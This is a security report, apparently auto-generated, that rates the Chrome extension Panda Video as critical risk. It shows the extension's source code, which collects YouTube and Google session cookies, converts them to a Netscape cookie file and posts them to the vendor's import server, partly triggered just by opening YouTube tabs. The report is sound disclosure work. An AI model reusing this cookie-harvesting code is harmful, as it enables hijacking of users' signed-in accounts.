Is Panda Video safe?

Critical risk

Panda Video collects YouTube and Google session cookies and sends them to its import service during YouTube imports.

When a YouTube tab is open, the extension reads browser cookies for YouTube and related Google domains, stores them locally as a Netscape cookie file, and prioritizes session cookie names such as SID, LOGIN_INFO, and __Secure-3PSID. When a queued YouTube video is imported, it sends that cookie file along with the video URL and bearer token to import.pandavideo.com:9443/videos.

panda-video-chrome-webstorev2.1.2Chrome Web Store
94Risk
Who publishes it

Panda Video LTDA - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
panda-video-chrome-webstore
Declared legal entity
Panda Video LTDA
Registered address
Av Ana Costa 59 cj 52, Santos, SP 11060001, BR
Registered contact
Panda Video

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

YouTube session cookies sent during Panda Video imports

Starting a YouTube import makes Panda Video read your YouTube and Google cookies, save them as a Netscape-format file, and send it with the selected URL to its import service.

Collection also runs when a YouTube tab is opened or activated.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You start importing a YouTube video into Panda Video.

The side panel adds the selected YouTube item to the upload queue.

The extension did this

The extension sends a stored YouTube and Google cookie file with the import request.

The service worker builds the cookie file from browser cookies and the uploader includes it as the cookies field.

Concrete fields used by the import request
  • YouTube and Google cookie file
    .youtube.com TRUE / TRUE 1767225600 SID <redacted> (illustrative)

    This can represent an active signed-in YouTube or Google browsing session.

  • Selected YouTube URL
    https://www.youtube.com/watch?v=dQw4w9WgXcQ

    This identifies the video you chose to import and travels with the cookie file.

  • Import description
    youtube-dQw4w9WgXcQ

    This ties the upload queue item to the YouTube source and source video ID.

  • Panda Video bearer token
    Authorization: Bearer <redacted>

    This authorizes the import request to the Panda Video account used by the extension.

Captured request
POSThttps://import.pandavideo.com:9443/videos
Headers
authorization
Bearer <redacted>
The code that does this

Source path from selected YouTube video to cookie upload

Readable version

Source-mapped Videos.vue import method

webpack://panda-chrome-extension/./src/views/Home/screens/Videos.vue
        async importVideos(folderId) {            for (const sourceVideoId of this.selectedVideos) {                const video = this.videosToImport.find((toImport) => toImport.sourceVideoId === sourceVideoId);                if (video) {                    await videoQueue.addItem({                        ...video,                        status: VideoQueueStatus.AWAITING,                        folderId: folderId,                    });                }            }            this.selectedVideos = [];            this.$root.$emit('global-tab-change', 2);        },

Source-mapped uploader queue routing

webpack://panda-chrome-extension/./src/services/uploader.ts
class Uploader {    async startsUploadQueue() {        try {            const { awaitingToUpload, runningUpload } = await VideoQueue.fullQueue();            const asError = await Storage.getItem('panda_error');            if (asError && asError !== 'false') {                console.log('ERROR EXISTS', asError);                return;            }            if (awaitingToUpload.length > 0) {                const availableVideoUpload = awaitingToUpload[0];                console.log('availableVideoUpload -> ', availableVideoUpload);                if (!availableVideoUpload)                    return;                if (runningUpload.length < 2) {                    await VideoQueue.updateStatus({                        sourceVideoId: availableVideoUpload.sourceVideoId,                        status: VideoQueueStatus.RUNNING,                    });                    await VideoQueue.updateMessage({                        sourceVideoId: availableVideoUpload.sourceVideoId,                        message: t('services.session.start_upload_status'),                    });                    const uploadServer = {                        tus: process.env.VUE_APP_BACKUP_URL || '',                        companion: 'uploader-companion.pandavideo.com.br:3020',                    };                    const token = await Storage.getItem('token');                    if (availableVideoUpload.source === 'youtube') {                        this.uploadYoutubeVideo(availableVideoUpload, `${token}`);                        return;                    }                    if (availableVideoUpload.source === 'pandavideo') {                        this.clonePandaVideo(availableVideoUpload);                        return;                    }                    if (availableVideoUpload.source === 'hotmart' ||                        availableVideoUpload.source === 'smartplayer' ||                        availableVideoUpload.source === 'kiwify') {                        const hlsEncryption = availableVideoUpload.source === 'hotmart';                        await this.uploadM3U8Video(availableVideoUpload, `${token}`, hlsEncryption);                        return;                    }                    this.upload(availableVideoUpload, uploadServer);                }            }        }        catch (error) {            console.log('error', error);        }    }

Source-mapped YouTube import POST builder

webpack://panda-chrome-extension/./src/services/uploader.ts
    async uploadYoutubeVideo(video, token) {        try {            const cookies = await Storage.getItem('youtube-cookies');            const dataObject = {                url: video.url,                title: video.title,                description: `${video.source || 'youtube'}-${video.sourceVideoId}`,                // eslint-disable-next-line camelcase                video_id: video.pandaVideoId,                cookies: cookies || '',            };            if (video.folderId) {                // eslint-disable-next-line camelcase                dataObject.folder_id = video.folderId;            }            const response = await axios.post(process.env.VUE_IMPORT_API_URL ?? '', dataObject, {                headers: {                    authorization: `Bearer ${token}`,                },            });            video.pandaVideoId = response.data.video_id;            await VideoQueue.updateMessage({                sourceVideoId: video.sourceVideoId,                message: t('services.uploader.websocket_connect.verifying_import'),            });            await this.verifyUpload(video);        }        catch (error) {            console.log('Error on upload', error);            const sendToErrorQueue = Boolean(error.response && error.response.status === 423);            const errorMessage = error.response?.data ?? error;            const errorCode = error.response && error.response.status === 423                ? 'M3U8 ERROR'                : error.response && error.response.status                    ? error.response.status                    : 'VIDEO ERROR';            await this.returnToQueueAddAttempt({                sourceVideoId: video.sourceVideoId,                error: JSON.stringify(errorMessage),                errorCode: errorCode,                sendToErrorQueue: sendToErrorQueue,            });        }    }

Source-mapped cookie collection and Netscape conversion

webpack://panda-chrome-extension/./src/core/background/background.ts
const getAllCookies = async () => {    try {        const tabsAPI = getTabsAPI();        const allTabs = await tabsAPI.query({});        const youtubeTabs = allTabs.filter((tab) => tab.url && tab.url.includes('youtube.com'));        if (youtubeTabs.length === 0) {            return;        }        const activeYoutubeTab = youtubeTabs.find((tab) => tab.active) || youtubeTabs[0];        const tab = activeYoutubeTab;        if (!tab?.url) {            return;        }        let url;        try {            url = new URL(tab.url);        }        catch (error) {            return;        }        const allCookies = await getAllYouTubeCookies(url.hostname);        const now = Date.now() / 1000;        const validCookies = allCookies.filter((cookie) => {            if (!cookie.expirationDate)                return true;            return cookie.expirationDate > now;        });        const netscapeCookies = parseCookiesToNetscape(validCookies);        const storageAPI = getStorageAPI();        await storageAPI.set({ 'youtube-cookies': netscapeCookies });    }    catch (error) {        console.error('Erro ao extrair cookies:', error);    }};const getAllYouTubeCookies = async (hostname) => {    const allCookies = [];    const cookiesMap = new Map();    const cookiesAPI = getCookiesAPI();    const browserType = getBrowserType();    if (!cookiesAPI) {        throw new Error('API de cookies não disponível');    }    try {        let cookieStores = [];        try {            cookieStores = await cookiesAPI.getAllCookieStores();        }        catch (e) {            cookieStores = [{ id: '0', tabIds: [] }];        }        for (const store of cookieStores) {            try {                let storeCookies = [];                try {                    if (browserType === 'chrome') {                        try {                            storeCookies = await cookiesAPI.getAll({                                storeId: store.id,                            });                        }                        catch (e) {                            storeCookies = await cookiesAPI.getAll({});                        }                    }                    else {                        storeCookies = await cookiesAPI.getAll({});                    }                }                catch (e) {                    // Ignorar erro                }                if (storeCookies && storeCookies.length > 0) {                    storeCookies.forEach((cookie) => {                        const key = `${cookie.name}-${cookie.domain}-${cookie.path}`;                        if (!cookiesMap.has(key)) {                            cookiesMap.set(key, cookie);                            allCookies.push(cookie);                        }                    });                }            }            catch (storeError) {                // Ignorar erro            }        }        try {            const tabsAPI = getTabsAPI();            const tabs = await tabsAPI.query({});            const domains = new Set();            tabs.forEach((tab) => {                if (tab.url) {                    try {                        const url = new URL(tab.url);                        const domain = url.hostname;                        if (domain) {                            domains.add(domain);                            if (!domain.startsWith('.')) {                                domains.add(`.${domain}`);                            }                            if (domain.startsWith('www.')) {                                domains.add(domain.replace(/^www\./, ''));                                domains.add(`.${domain.replace(/^www\./, '')}`);                            }                        }                    }                    catch (e) {                        // Ignorar URLs inválidas                    }                }            });            const domainArray = Array.from(domains);            for (const domain of domainArray) {                try {                    const domainCookies = await cookiesAPI.getAll({ domain });                    if (domainCookies && domainCookies.length > 0) {                        domainCookies.forEach((cookie) => {                            const key = `${cookie.name}-${cookie.domain}-${cookie.path}`;                            if (!cookiesMap.has(key)) {                                cookiesMap.set(key, cookie);                                allCookies.push(cookie);                            }                        });                    }                }                catch (e) {                    // skip error invalid domain                }            }        }        catch (tabsError) {            // Ignorar erro        }        const knownDomains = new Set([            '.youtube.com',            'youtube.com',            '.www.youtube.com',            'www.youtube.com',            '.m.youtube.com',            'm.youtube.com',            '.google.com',            'google.com',            '.googleapis.com',            'googleapis.com',            '.googleusercontent.com',            'googleusercontent.com',            '.gstatic.com',            'gstatic.com',            '.googlevideo.com',            'googlevideo.com',            '.ytimg.com',            'ytimg.com',        ]);        if (hostname) {            knownDomains.add(hostname);            if (!hostname.startsWith('.')) {                knownDomains.add(`.${hostname}`);            }            if (hostname.startsWith('www.')) {                const withoutWww = hostname.replace(/^www\./, '');                knownDomains.add(withoutWww);                knownDomains.add(`.${withoutWww}`);            }        }        for (const domain of Array.from(knownDomains)) {            try {                const domainCookies = await cookiesAPI.getAll({ domain });                if (domainCookies && domainCookies.length > 0) {                    domainCookies.forEach((cookie) => {                        const key = `${cookie.name}-${cookie.domain}-${cookie.path}`;                        if (!cookiesMap.has(key)) {                            cookiesMap.set(key, cookie);                            allCookies.push(cookie);                        }                    });                }            }            catch (e) {                // skip error invalid domain            }        }    }    catch (error) {        // Ignorar erro    }    const uniqueCookiesArray = Array.from(cookiesMap.values());    const now = Date.now() / 1000;    const validCookies = uniqueCookiesArray.filter((cookie) => {        if (!cookie.expirationDate)            return true;        return cookie.expirationDate > now;    });    return validCookies;};const parseCookiesToNetscape = (cookies) => {    let output = '# Netscape HTTP Cookie File\n';    output += '# Generated by YouTube Cookie Extractor\n';    output += `# Date: ${new Date().toISOString()}\n`;    output += '# https://curl.haxx.se/rfc/cookie_spec.html\n\n';    output += '# ===========================\n\n';    const importantCookiePatterns = [        'SID',        'LOGIN_INFO',        '__Secure-1PSID',        '__Secure-3PSID',        'APISID',        '__Secure-1PAPISID',        '__Secure-3PAPISID',        'SAPISID',        '__Secure-1PSAPISID',        '__Secure-3PSAPISID',        'SSID',        'HSID',        'VISITOR_INFO1_LIVE',        '__Secure-1PSIDTS',        '__Secure-3PSIDTS',        '__Secure-1PSIDCC',        '__Secure-3PSIDCC',    ];    const sortedCookies = [...cookies].sort((a, b) => {        const aImportant = importantCookiePatterns.some((pattern) => a.name === pattern || a.name.startsWith(pattern));        const bImportant = importantCookiePatterns.some((pattern) => b.name === pattern || b.name.startsWith(pattern));        if (aImportant && !bImportant)            return -1;        if (!aImportant && bImportant)            return 1;        if (aImportant && bImportant) {            const aIndex = importantCookiePatterns.findIndex((p) => a.name === p || a.name.startsWith(p));            const bIndex = importantCookiePatterns.findIndex((p) => b.name === p || b.name.startsWith(p));            return aIndex - bIndex;        }        return 0;    });    sortedCookies.forEach((cookie) => {        let domain = cookie.domain ?? '';        const isHostOnly = cookie.hostOnly ?? false;        if (domain.startsWith('.')) {            domain = domain.substring(1);        }        if (!isHostOnly && domain) {            domain = '.' + domain;        }        const flag = isHostOnly ? 'FALSE' : 'TRUE';        const path = (cookie.path ?? '/').trim();        const secure = cookie.secure ? 'TRUE' : 'FALSE';        const expiration = cookie.expirationDate            ? Math.floor(cookie.expirationDate).toString()            : '0';        // eslint-disable-next-line no-control-regex        const controlCharsRegex = /[\r\n\t\x00-\x1F\x7F]/g;        const name = (cookie.name ?? '').replace(controlCharsRegex, '').trim();        const value = (cookie.value ?? '').replace(controlCharsRegex, '').trim();        if (!domain || !name || !value) {            return;        }        const tab = '\t';        output += `${domain}${tab}${flag}${tab}${path}${tab}${secure}${tab}${expiration}${tab}${name}${tab}${value}\n`;    });    if (!output.endsWith('\n')) {        output += '\n';    }    const normalizedOutput = output.replace(/\r\n/g, '\n').replace(/\r/g, '\n');    return normalizedOutput;};const main = async () => {    const context = typeof document !== 'undefined' ? 'SIDEPANEL' : 'SERVICE_WORKER';    console.log(`Background script started - Context: ${context}`, {        location: typeof window !== 'undefined' ? window.location?.href : 'N/A',        userAgent: typeof navigator !== 'undefined' ? navigator.userAgent : 'N/A',

Source-mapped YouTube tab triggers

webpack://panda-chrome-extension/./src/core/background/background.ts
    const checkAndCollectCookies = async () => {        try {            const allTabs = await tabsAPI.query({});            const youtubeTabs = allTabs.filter((tab) => tab.url && tab.url.includes('youtube.com'));            if (youtubeTabs.length > 0) {                await getAllCookies();            }        }        catch (error) {            // Ignorar erro        }    };    checkAndCollectCookies();    setTimeout(checkAndCollectCookies, 1000);    tabsAPI.onUpdated.addListener((_tabId, changeInfo, tab) => {        if (changeInfo.status === 'complete' &&            tab?.url &&            tab.url.includes('youtube.com')) {            getAllCookies();        }    });    tabsAPI.onActivated.addListener(async (activeInfo) => {        try {            const tab = await tabsAPI.get(activeInfo.tabId);            if (tab?.url && tab.url.includes('youtube.com')) {                await getAllCookies();            }        }        catch (error) {            // Ignorar erro        }    });};main();
Destination receiving the import request
    • import.pandavideo.com

    Panda Video import service that receives the selected YouTube URL and the cookies field during YouTube imports.

Where it sends data

Destinations our analysis observed Panda Video contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • import.pandavideo.com

    Panda Video sends data to import.pandavideo.com. No other extension we have analysed sends data here.

Updated 30 September 2026feocfomniclchbgaioedfhccgckmlbed